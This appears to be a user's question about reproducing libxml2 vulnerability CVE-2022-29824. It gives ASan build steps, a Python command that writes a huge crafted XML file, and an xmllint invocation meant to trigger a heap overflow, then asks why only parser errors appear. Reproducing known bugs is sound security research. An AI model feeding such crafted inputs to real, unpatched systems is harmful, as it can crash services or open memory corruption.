parser error : xmlSAX2Characters overflow prevented
According to https://bugs.chromium.org/p/project-zero/issues/detail?id=2272, I reproduce the problem of vulnerability CVE-2022-29824. To reproduce the problem, perform the following steps:
export CFLAGS="-g -fsanitize=address -fno-common -fno-omit-frame-pointer -fPIC"
export LDFLAGS="-g -fsanitize=address -fno-common -fno-omit-frame-pointer -fPIC"
./autogen.sh
make -O -j4 V=1 VERBOSE=1
python3 -c 'print("\n" + ("" + "A"*(2**30) + "\n")*4 + "\n")' > /tmp/huge.xml
./xmllint --huge --xpath '/test[string-length() < "4"]' /tmp/huge.xml
However, it ocurs the following error message:
/tmp/huge.xml:3: parser error : xmlSAX2Characters overflow prevented AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ^ /tmp/huge.xml:3: parser error : Extra content at the end of the document AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Is this a normal phenomenon?
Also, I verified the unfixed version and the fixed version of libxml2, which both report such errors and don’t expose ERROR: AddressSanitizer: heap-buffer-overflow. Why? Is there a problem with my reproduction procedure?